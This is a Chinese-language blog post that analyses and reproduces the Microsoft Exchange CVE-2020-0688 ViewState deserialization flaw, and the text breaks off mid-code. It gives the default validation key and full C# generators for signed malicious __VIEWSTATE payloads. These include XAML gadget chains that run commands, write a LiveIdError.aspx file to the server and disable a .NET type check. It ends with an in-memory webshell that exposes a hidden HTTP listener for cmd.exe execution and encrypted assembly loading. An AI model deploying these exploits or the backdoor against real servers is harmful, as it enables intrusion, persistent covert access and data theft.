Exchange CVE-2020-0688漏洞分析和内存马注入
前言:Exchange CVE-2020-0688漏洞分析,这篇文章更多的是重复记录zcgonvh师傅的文章内容,主要是自己实践过一遍,最后再给大家实现下内存马注入方式
参考文章:https://www.cnblogs.com/zpchcbd/p/15112047.html
参考文章:https://www.anquanke.com/post/id/199921
CVE-2020-0688漏洞起因
分析之前稍微提及下这篇文章需要了解事先viewstate原理,这边可以参考下我自己写的笔记,地址在 https://www.cnblogs.com/zpchcbd/p/15112047.html
CVE-2020-0688是一个默认密钥导致的漏洞,由于ECP下的web.config的配置文件中存在默认密钥
配置文件存放在 %ExchangeInstallPath%\ClientAccess\ecp\web.config,可以看到其中默认的validationKey为CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF 。
验证默认密钥的正确性
这边先观察访问/ecp/default.aspx默认的__VIEWSTATE,结果为如下
因为这边validation签名算法为SHA1,所以这边拿到默认的__VIEWSTATE值要去除尾部的20个字节,验证代码如下所示
namespace TestViewState { public class Program { static void Main(string[] args) { //string base64String = "/wEPDwUKMjA5ODU3OTU1NmQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFGmZlZWRiYWNrQ3RybCRlbWFpbENoZWNrYm94O65Xyd/vkJALhIHUdi9cbtK8iJU="; // 要解码的base64字符串 //byte[] bytes = Convert.FromBase64String(base64String); // 解码base64字符串 //string hexString = BitConverter.ToString(bytes).Replace("-", ",0x"); // 转换为十六进制字符串 //Console.WriteLine(hexString); // 输出十六进制字符串 //byte[] data = GetViewState(); byte[] data = new byte[] { 0xFF, 0x01, 0x0F, 0x0F, 0x05, 0x0A, 0x32, 0x30, 0x39, 0x38, 0x35, 0x37, 0x39, 0x35, 0x35, 0x36, 0x64, 0x18, 0x01, 0x05, 0x1E, 0x5F, 0x5F, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, 0x73, 0x52, 0x65, 0x71, 0x75, 0x69, 0x72, 0x65, 0x50, 0x6F, 0x73, 0x74, 0x42, 0x61, 0x63, 0x6B, 0x4B, 0x65, 0x79, 0x5F, 0x5F, 0x16, 0x01, 0x05, 0x1A, 0x66, 0x65, 0x65, 0x64, 0x62, 0x61, 0x63, 0x6B, 0x43, 0x74, 0x72, 0x6C, 0x24, 0x65, 0x6D, 0x61, 0x69, 0x6C, 0x43, 0x68, 0x65, 0x63, 0x6B, 0x62, 0x6F, 0x78 }; byte[] key = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF }; // clientId = hash(当前请求路径)+hash(当前请求文件名) uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp") + StringComparer.InvariantCultureIgnoreCase.GetHashCode("default_aspx")); // MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId byte[] _mackey = new byte[4]; _mackey[0] = (byte)_clientstateid; _mackey[1] = (byte)(_clientstateid >> 8); _mackey[2] = (byte)(_clientstateid >> 16); _mackey[3] = (byte)(_clientstateid >> 24); // 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE MemoryStream ms = new MemoryStream(); ms.Write(data, 0, data.Length); ms.Write(_mackey, 0, _mackey.Length); byte[] hash = (new HMACSHA1(key)).ComputeHash(ms.ToArray()); ms = new MemoryStream(); ms.Write(data, 0, data.Length); ms.Write(hash, 0, hash.Length); Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2")); Console.ReadKey(); } } }
如下图所示,通过对比发现程序生成的__VIEWSTATE并不和访问的/ecp/default.aspx中的__VIEWSTATE值相等
这边还可以看到__VIEWSTATEGENERATOR的值是B97B4E27跟程序生成的值是一样的
这种情况下的话就需要考虑是否收到了ViewStateUserKey的影响,因为在MacKeyModifier是受到了client_id + ViewStateUserKey(默认为空),但是ViewStateUserKey如果不是默认的话就会导致__VIEWSTATE值不一样
在exchange中的话ViewStateUserKey是受到了ASP.NET_SessionId影响,这边可以看到如果将ASP.NET_SessionId的值进行去除就会发现此时的__VIEWSTATE值就是跟程序中生成的值是一样的
CVE-2020-0688漏洞利用
这边生成TextFormattingRunProperties利用链来进行测试
ysoserial.exe -g TextFormattingRunProperties -c notepad -f binaryformatter
将上面生成的数据进行替换到
using System; using System.Diagnostics; using System.IO; using System.Runtime.Serialization.Formatters.Binary; using System.Runtime.Serialization; using System.Security.Cryptography; using System.Web; namespace TestViewState { public class Program { static byte[] GetViewState() { Test t = new Test(new Func<string, object>(Process.Start), "notepad"); string base64String = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAtgU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=="; // 要解码的base64字符串 byte[] data = Convert.FromBase64String(base64String); // 解码base64字符串 //byte[] data = Serialize(t); MemoryStream ms = new MemoryStream(); // 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01 ms.WriteByte(0xff); ms.WriteByte(0x01); // 指定ObjectStateFormatter进行序列化,特征为0x32 ms.WriteByte(0x32); uint num = (uint)data.Length; // Value为带有7bit-encoded长度前缀,所以最大长度为0x80 while (num >= 0x80) { ms.WriteByte((byte)(num | 0x80)); num = num >> 0x7; } ms.WriteByte((byte)num); ms.Write(data, 0, data.Length); return ms.ToArray(); } static void Main(string[] args) { byte[] data = GetViewState(); byte[] key = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF }; // clientId = hash(当前请求路径)+hash(当前请求文件名) uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp") + StringComparer.InvariantCultureIgnoreCase.GetHashCode("default_aspx")); // MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId byte[] _mackey = new byte[4]; _mackey[0] = (byte)_clientstateid; _mackey[1] = (byte)(_clientstateid >> 8); _mackey[2] = (byte)(_clientstateid >> 16); _mackey[3] = (byte)(_clientstateid >> 24); // 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE MemoryStream ms = new MemoryStream(); ms.Write(data, 0, data.Length); ms.Write(_mackey, 0, _mackey.Length); byte[] hash = (new HMACSHA1(key)).ComputeHash(ms.ToArray()); ms = new MemoryStream(); ms.Write(data, 0, data.Length); ms.Write(hash, 0, hash.Length); Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2")); Console.ReadKey(); } } }
结果如下图所示,可以看到命令执行成功了
上面的代码还可以写的比较优雅点,这边参考.net ysoserial中的写法,自定义一个TextFormattingRunPropertiesMarshal来进行序列化,重点是GetObjectData中进行SetType类型为TextFormattingRunProperties即可
注意:这边为什么用到ResourceDictionary呢?其实可以不用,你会发现在.net ysoerial中的TextFormattingRunPropertiesGenerator的代码中是没有用到ResourceDictionary的,这边测试命令执行可有可无,但是下面如果想要实现漏洞检测的话就需要用到ResourceDictionary,因为需要用到ObjectDataProvider多次调用静态资源,跟ActivitySurrogateDisableTypeCheck利用链的方式类似
namespace TestViewState { [Serializable] public class TextFormattingRunPropertiesMarshal : ISerializable { protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { } string _xaml; public void GetObjectData(SerializationInfo info, StreamingContext context) { info.SetType(typeof(TextFormattingRunProperties)); info.AddValue("ForegroundBrush", _xaml); } public TextFormattingRunPropertiesMarshal(string xaml) { _xaml = xaml; } } public class Program { static object Deserialize(byte[] b) { using (MemoryStream mem = new MemoryStream(b)) { mem.Position = 0; BinaryFormatter bf = new BinaryFormatter(); return bf.Deserialize(mem); } } static byte[] Serialize(object obj) { using (MemoryStream mem = new MemoryStream()) { BinaryFormatter bf = new BinaryFormatter(); bf.Serialize(mem, obj); return mem.ToArray(); } } static byte[] GetViewState(byte[] data) { MemoryStream ms = new MemoryStream(); // 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01 ms.WriteByte(0xff); ms.WriteByte(0x01); // 指定ObjectStateFormatter进行序列化,特征为0x32 ms.WriteByte(0x32); uint num = (uint)data.Length; // Value为带有7bit-encoded长度前缀,所以最大长度为0x80 while (num >= 0x80) { ms.WriteByte((byte)(num | 0x80)); num = num >> 0x7; } ms.WriteByte((byte)num); ms.Write(data, 0, data.Length); return ms.ToArray(); } static void Main(string[] args) { string xaml = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:System=""clr-namespace:System;assembly=mscorlib"" xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system""> <ObjectDataProvider x:Key="""" ObjectType=""{x:Type Diag:Process}"" MethodName=""Start"" > <ObjectDataProvider.MethodParameters> <System:String>cmd</System:String> <System:String>""/c notepad""</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>"; byte[] data = GetViewState(Serialize(new TextFormattingRunPropertiesMarshal(xaml))); byte[] key = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF }; // clientId = hash(当前请求路径)+hash(当前请求文件名) uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp") + StringComparer.InvariantCultureIgnoreCase.GetHashCode("default_aspx")); // MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId byte[] _mackey = new byte[4]; _mackey[0] = (byte)_clientstateid; _mackey[1] = (byte)(_clientstateid >> 8); _mackey[2] = (byte)(_clientstateid >> 16); _mackey[3] = (byte)(_clientstateid >> 24); // 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE MemoryStream ms = new MemoryStream(); ms.Write(data, 0, data.Length); ms.Write(_mackey, 0, _mackey.Length); byte[] hash = (new HMACSHA1(key)).ComputeHash(ms.ToArray()); ms = new MemoryStream(); ms.Write(data, 0, data.Length); ms.Write(hash, 0, hash.Length); Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2")); Console.ReadKey(); } } }
如下图所示,可以看到发送payload还是一样可以进行执行
CVE-2020-0688漏洞检测
上面的漏洞复现可以看到走的是TextFormattingRunProperties利用链,这边稍微的提下在ViewState反序列化中ObjectStateFormatter的反序列化,为什么还可以用BinaryFormatter生成的payload来进行反序列化呢?
如果大家跟过ObjectStateFormatter反序列化的过程的话就会发现在ObjectStateFormatter反序列化中实际上内部还是BinaryFormatter进行反序列化的。
这边想要检测是否存在CVE-2020-0688漏洞的话可以通过,xaml不光支持调用静态方法,同样支持获取静态属性、获取实例属性或调用实例方法。于是可以通过[System.Web]System.Web.HttpContext::Current
获取当前Http上下文,并对Response进行操作。
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:s="clr-namespace:System;assembly=mscorlib" xmlns:w="clr-namespace:System.Web;assembly=System.Web"> <ObjectDataProvider x:Key="a" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""></ObjectDataProvider> <ObjectDataProvider x:Key="b" ObjectInstance="{StaticResource a}" MethodName="get_Response"></ObjectDataProvider> <ObjectDataProvider x:Key="c" ObjectInstance="{StaticResource b}" MethodName="get_Headers"></ObjectDataProvider> <ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="Add"> <ObjectDataProvider.MethodParameters> <s:String>X-ZCG-TEST</s:String> <s:String>CVE-2020-0688</s:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource b}" MethodName="End"></ObjectDataProvider> </ResourceDictionary>
结果如下图所示,返回包中有对应指定的header字段头
Exchange中对ecp接口下面的路由都进行了重写,可以看到其中有一条是LiveIdError.aspx的条目,这个条目中的LiveIdError.aspx文件默认是不存在的
<add name="LiveIdErrorHandler" path="LiveIdError.aspx" verb="POST" type="System.Web.UI.PageHandlerFactory" preCondition="integratedMode" />
如果我们创建了一个LiveIdError.aspx,那么就同样可以用这个文件作为漏洞验证的点了
namespace TestViewState { [Serializable] public class TextFormattingRunPropertiesMarshal : ISerializable { protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { } string _xaml; public void GetObjectData(SerializationInfo info, StreamingContext context) { info.SetType(typeof(TextFormattingRunProperties)); info.AddValue("ForegroundBrush", _xaml); } public TextFormattingRunPropertiesMarshal(string xaml) { _xaml = xaml; } } public class Program { static object Deserialize(byte[] b) { using (MemoryStream mem = new MemoryStream(b)) { mem.Position = 0; BinaryFormatter bf = new BinaryFormatter(); return bf.Deserialize(mem); } } static byte[] Serialize(object obj) { using (MemoryStream mem = new MemoryStream()) { BinaryFormatter bf = new BinaryFormatter(); bf.Serialize(mem, obj); return mem.ToArray(); } } static byte[] GetViewState(byte[] data) { MemoryStream ms = new MemoryStream(); // 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01 ms.WriteByte(0xff); ms.WriteByte(0x01); // 指定ObjectStateFormatter进行序列化,特征为0x32 ms.WriteByte(0x32); uint num = (uint)data.Length; // Value为带有7bit-encoded长度前缀,所以最大长度为0x80 while (num >= 0x80) { ms.WriteByte((byte)(num | 0x80)); num = num >> 0x7; } ms.WriteByte((byte)num); ms.Write(data, 0, data.Length); return ms.ToArray(); } static void Main(string[] args) { string xaml = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:s=""clr-namespace:System;assembly=mscorlib"" xmlns:w=""clr-namespace:System.Web;assembly=System.Web""> <s:String x:Key=""a"" x:FactoryMethod=""s:Environment.GetEnvironmentVariable"" x:Arguments=""ExchangeInstallPath""/> <s:String x:Key=""b"" x:FactoryMethod=""Concat""> <x:Arguments> <StaticResource ResourceKey=""a""/> <s:String>\ClientAccess\ecp\LiveIdError.aspx</s:String> </x:Arguments> </s:String> <ObjectDataProvider x:Key=""x"" ObjectType=""{x:Type s:IO.File}"" MethodName=""AppendAllText""> <ObjectDataProvider.MethodParameters> <StaticResource ResourceKey=""b""/> <s:String></s:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> <ObjectDataProvider x:Key=""c"" ObjectInstance=""{x:Static w:HttpContext.Current}"" MethodName=""""/> <ObjectDataProvider x:Key=""d"" ObjectInstance=""{StaticResource c}"" MethodName=""get_Response""/> <ObjectDataProvider x:Key=""e"" ObjectInstance=""{StaticResource d}"" MethodName=""End""/> </ResourceDictionary>"; byte[] data = GetViewState(Serialize(new TextFormattingRunPropertiesMarshal(xaml))); byte[] key = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF }; // clientId = hash(当前请求路径)+hash(当前请求文件名) uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp") + StringComparer.InvariantCultureIgnoreCase.GetHashCode("LiveIdError_aspx")); // MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId byte[] _mackey = new byte[4]; _mackey[0] = (byte)_clientstateid; _mackey[1] = (byte)(_clientstateid >> 8); _mackey[2] = (byte)(_clientstateid >> 16); _mackey[3] = (byte)(_clientstateid >> 24); // 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE MemoryStream ms = new MemoryStream(); ms.Write(data, 0, data.Length); ms.Write(_mackey, 0, _mackey.Length); byte[] hash = (new HMACSHA1(key)).ComputeHash(ms.ToArray()); ms = new MemoryStream(); ms.Write(data, 0, data.Length); ms.Write(hash, 0, hash.Length); Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2")); Console.ReadKey(); } } }
将上面程序中生成的viewstate放到/ecp/default.aspx接口下进行访问,可以看到生成了一个LiveIdError.aspx文件
然后这边再将/ecp/LiveIdError.aspx作为后续的漏洞利用点即可
这边可能会有一个疑问,前面直接能在/ecp/default.aspx接口下进行反序列化利用,为什么还要再去创建一个/ecp/LiveIdError.aspx进行利用呢?
前面提到过exchange将/ecp接口下的路由都重写了,而LiveIdError.aspx走的是PageHandlerFactory并且支持POST操作,而POST操作的长度是不受到限制的(IIS默认的4M上限),对于执行命令并回显、读写文件、加载ShellCode和内存马注入这些操作是最适合的
<add name="LiveIdErrorHandler" path="LiveIdError.aspx" verb="POST" type="System.Web.UI.PageHandlerFactory" preCondition="integratedMode" />
这边除了LiveIdErrorHandler之外,下面的这些也是可以的,不过前提是不影响业务逻辑下来进行操作
到这里的话接下来就是对LiveIdError文件进行构造viewstate利用了
打一次命令执行的代码,这边通过命令csc /target:library /out:e.dll e.cs
来进行编译,如下图所示
E.cs
class E { public E() { try { System.Diagnostics.Process process = new System.Diagnostics.Process(); process.StartInfo.FileName = "calc"; process.Start(); } catch (System.Exception) {} } }
这边测试发包可以发现没有命令执行成功,结果如下图所示
这边的话先打一次disableActivitySurrogateSelectorTypeCheck,构造的代码如下所示
注:如果发现打不了的话可能目标版本是fx 4.8,还需要先构造一个ActivitySurrogateDisableTypeCheck先打一次
<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:s=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Configuration;assembly=System.Configuration"" xmlns:r=""clr-namespace:System.Reflection;assembly=mscorlib""> <ObjectDataProvider x:Key=""type"" ObjectType=""{x:Type s:Type}"" MethodName=""GetType""> <ObjectDataProvider.MethodParameters> <s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</s:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> <ObjectDataProvider x:Key=""field"" ObjectInstance=""{StaticResource type}"" MethodName=""GetField""> <ObjectDataProvider.MethodParameters> <s:String>disableActivitySurrogateSelectorTypeCheck</s:String> <r:BindingFlags>40</r:BindingFlags> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> <ObjectDataProvider x:Key=""set"" ObjectInstance=""{StaticResource field}"" MethodName=""SetValue""> <ObjectDataProvider.MethodParameters> <s:Object/> <s:Boolean>true</s:Boolean> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> <ObjectDataProvider x:Key=""setMethod"" ObjectInstance=""{x:Static c:ConfigurationManager.AppSettings}"" MethodName =""Set""> <ObjectDataProvider.MethodParameters> <s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String> <s:String>true</s:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>
上面构造的ActivitySurrogateDisableTypeCheck数据包发完之后继续发送命令执行的数据包,可以发现命令执行成功了,结果如下图所示
内存马注入
直接给代码了
using System; using System.Diagnostics; using System.IO; using System.Runtime.Serialization.Formatters.Binary; using System.Runtime.Serialization; using System.Security.Cryptography; using Microsoft.VisualStudio.Text.Formatting; using System.Web; using Microsoft.CSharp; using System.CodeDom.Compiler; using System.Collections.Generic; using System.Collections; using System.ComponentModel.Design; using System.Reflection; using System.Web.UI.WebControls; using static System.Net.Mime.MediaTypeNames; namespace TestViewState { public class CodeHelper { public static string get_memory_http_listenr_code(string key, string pass, string inject_path) { string code = $@"using System.Diagnostics; using System.Text; using System.IO; using System.Net; using System.Web; using System; using System.Collections.Generic; using System.Collections; using System.Threading; public class SharpMemshell {{ public SharpMemshell() {{ HttpContext ctx = HttpContext.Current; Thread Listen = new Thread(Listener); Thread.Sleep(0); Listen.Start(ctx); }} public static Dictionary<string, string> parse_post(HttpListenerRequest request) {{ var post_raw_data = new StreamReader(request.InputStream, request.ContentEncoding).ReadToEnd(); Dictionary<string, string> postParams = new Dictionary<string, string>(); string[] rawParams = post_raw_data.Split('&'); foreach (string param in rawParams) {{ string[] kvPair = param.Split('='); string p_key = kvPair[0]; string value = HttpUtility.UrlDecode(kvPair[1]); postParams.Add(p_key, value); }} return postParams; }} public static void SetRespHeader(HttpListenerResponse resp) {{ resp.Headers.Set(HttpResponseHeader.Server, ""Microsoft-IIS/8.5""); resp.Headers.Set(HttpResponseHeader.ContentType, ""text/html; charset=utf-8""); resp.Headers.Add(""X-Powered-By"", ""ASP.NET""); }} public static void Listener(object ctx) {{ HttpListener listener = new HttpListener(); try {{ if (!HttpListener.IsSupported) {{ return; }} string input_key = ""{key}""; string pass = ""{pass}""; string nodata = ""PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiJodHRwOi8vd3d3LnczLm9yZy9UUi9odG1sNC9zdHJpY3QuZHRkIj4NCjxIVE1MPjxIRUFEPjxUSVRMRT5Ob3QgRm91bmQ8L1RJVExFPg0KPE1FVEEgSFRUUC1FUVVJVj0iQ29udGVudC1UeXBlIiBDb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXMtYXNjaWkiPjwvSEVBRD4NCjxCT0RZPjxoMj5Ob3QgRm91bmQ8L2gyPg0KPGhyPjxwPkhUVFAgRXJyb3IgNDA0LiBUaGUgcmVxdWVzdGVkIHJlc291cmNlIGlzIG5vdCBmb3VuZC48L3A+DQo8L0JPRFk+PC9IVE1MPg0K""; string url = ""https://*{inject_path}/""; listener.Prefixes.Add(url); listener.Start(); byte[] not_found = System.Convert.FromBase64String(nodata); string key = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(input_key))).Replace(""-"", """").ToLower().Substring(0, 16); string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace(""-"", """"); Dictionary<string, dynamic> sessiontDirectory = new Dictionary<string, dynamic>(); Hashtable sessionTable = new Hashtable(); while (true) {{ HttpListenerContext context = listener.GetContext(); HttpListenerRequest request = context.Request; HttpListenerResponse response = context.Response; SetRespHeader(response); Stream stm = null; HttpContext httpContext; try {{ if (ctx != null) {{ httpContext = ctx as HttpContext; }} else {{ HttpRequest req = new HttpRequest("""", request.Url.ToString(), request.QueryString.ToString()); System.IO.StreamWriter writer = new System.IO.StreamWriter(response.OutputStream); HttpResponse resp = new HttpResponse(writer); httpContext = new HttpContext(req, resp); }} var method = request.Headers[""Type""]; if (method == ""print"") {{ byte[] output = Encoding.UTF8.GetBytes(""OK""); response.StatusCode = 200; response.ContentLength64 = output.Length; stm = response.OutputStream; stm.Write(output, 0, output.Length); stm.Close(); }} else if (method == ""cmd"" && request.HttpMethod == ""POST"") {{ Dictionary<string, string> postParams = parse_post(request); Process p = new Process(); p.StartInfo.FileName = ""cmd.exe""; p.StartInfo.Arguments = ""/c "" + postParams[pass]; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.Start(); byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd()); response.StatusCode = 200; response.ContentLength64 = data.Length; stm = response.OutputStream; stm.Write(data, 0, data.Length); }} else if (method == ""mem_b64"" && request.HttpMethod == ""POST"") {{ Dictionary<string, string> postParams = parse_post(request); byte[] data = System.Convert.FromBase64String(postParams[pass]); data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length); Cookie sessionCookie = request.Cookies[""ASP.NET_SessionId""]; if (sessionCookie == null) {{ Guid sessionId = Guid.NewGuid(); var payload = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod(""Load"", new System.Type[] {{ typeof(byte[]) }}).Invoke(null, new object[] {{ data }}); sessiontDirectory.Add(sessionId.ToString(), payload); response.SetCookie(new Cookie(""ASP.NET_SessionId"", sessionId.ToString())); byte[] output = Encoding.UTF8.GetBytes(""""); response.StatusCode = 200; response.ContentLength64 = output.Length; stm = response.OutputStream; stm.Write(output, 0, output.Length); }} else {{ dynamic payload = sessiontDirectory[sessionCookie.Value]; MemoryStream outStream = new MemoryStream(); object o = ((System.Reflection.Assembly)payload).CreateInstance(""LY""); o.Equals(outStream); o.Equals(httpContext); o.Equals(data); o.ToString(); byte[] r = outStream.ToArray(); outStream.Dispose(); response.StatusCode = 200; String new_data = md5.Substring(0, 16) + System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length)) + md5.Substring(16); byte[] new_data_bytes = Encoding.ASCII.GetBytes(new_data); response.ContentLength64 = new_data_bytes.Length; stm = response.OutputStream; stm.Write(new_data_bytes, 0, new_data_bytes.Length); }} }} else if (method == ""mem_raw"" && request.HttpMethod == ""POST"" && request.HasEntityBody) {{ int contentLength = int.Parse(request.Headers.Get(""Content-Length"")); byte[] array = new byte[contentLength]; request.InputStream.Read(array, 0, contentLength); byte[] data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(array, 0, array.Length); if (sessionTable[""payload""] == null) {{ sessionTable[""payload""] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod(""Load"", new System.Type[] {{ typeof(byte[]) }}).Invoke(null, new object[] {{ data }}); }} else {{ object o = ((System.Reflection.Assembly)sessionTable[""payload""]).CreateInstance(""LY""); System.IO.MemoryStream outStream = new System.IO.MemoryStream(); o.Equals(outStream); o.Equals(httpContext); o.Equals(data); o.ToString(); byte[] r = outStream.ToArray(); outStream.Dispose(); if (r.Length > 0) {{ r = new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length); response.StatusCode = 200; stm = response.OutputStream; response.ContentLength64 = r.Length; stm.Write(r, 0, r.Length); }} }} }} else {{ response.StatusCode = 404; response.ContentLength64 = not_found.Length; stm = response.OutputStream; stm.Write(not_found, 0, not_found.Length); }} }} catch (Exception e) {{ response.StatusCode = 404; response.ContentLength64 = not_found.Length; stm = response.OutputStream; 